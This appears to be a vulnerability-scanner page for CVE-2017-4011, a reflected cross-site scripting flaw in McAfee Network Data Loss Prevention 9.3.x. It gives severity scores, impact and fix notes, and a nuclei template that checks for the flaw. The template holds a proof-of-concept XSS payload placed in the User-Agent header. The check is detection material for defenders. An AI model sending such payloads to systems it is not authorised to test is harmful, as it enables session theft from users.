McAfee Network Data Loss Prevention 9.3.x - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.3%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

McAfee Network Data Loss Prevention User-Agent 9.3.x contains a cross-site scripting vulnerability which allows remote attackers to get session/cookie information via modification of the HTTP request.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking or unauthorized access to sensitive information.

Fix

Apply the latest security patches or updates provided by McAfee to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "var ua='Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/…" AND contains in header "text/html"

Run it with nuclei: nuclei -id CVE-2017-4011 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-4011

info:
  name: McAfee Network Data Loss Prevention 9.3.x - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: McAfee Network Data Loss Prevention User-Agent 9.3.x contains a cross-site scripting vulnerability which allows remote attackers to get session/cookie information via modification of the HTTP request.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking or unauthorized access to sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by McAfee to mitigate the XSS vulnerability.
  reference:
    - https://medium.com/@david.valles/cve-2017-4011-reflected-xss-found-in-mcafee-network-data-loss-prevention-ndlp-9-3-x-cf20451870ab
    - https://kc.mcafee.com/corporate/index?page=content&id=SB10198
    - https://nvd.nist.gov/vuln/detail/CVE-2017-4011
    - http://www.securitytracker.com/id/1038523
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-4011
    cwe-id: CWE-79
    epss-score: 0.03271
    epss-percentile: 0.88509
    cpe: cpe:2.3:a:mcafee:network_data_loss_prevention:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mcafee
    product: network_data_loss_prevention
  tags: cve,cve2017,mcafee,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    headers:
      User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1';alert(/XSS/);//

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "var ua='Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1';alert(/XSS/);//"

      - type: word
        part: header
        words:
          - "text/html"

References

Use this check only on systems you are authorised to test. Where the data comes from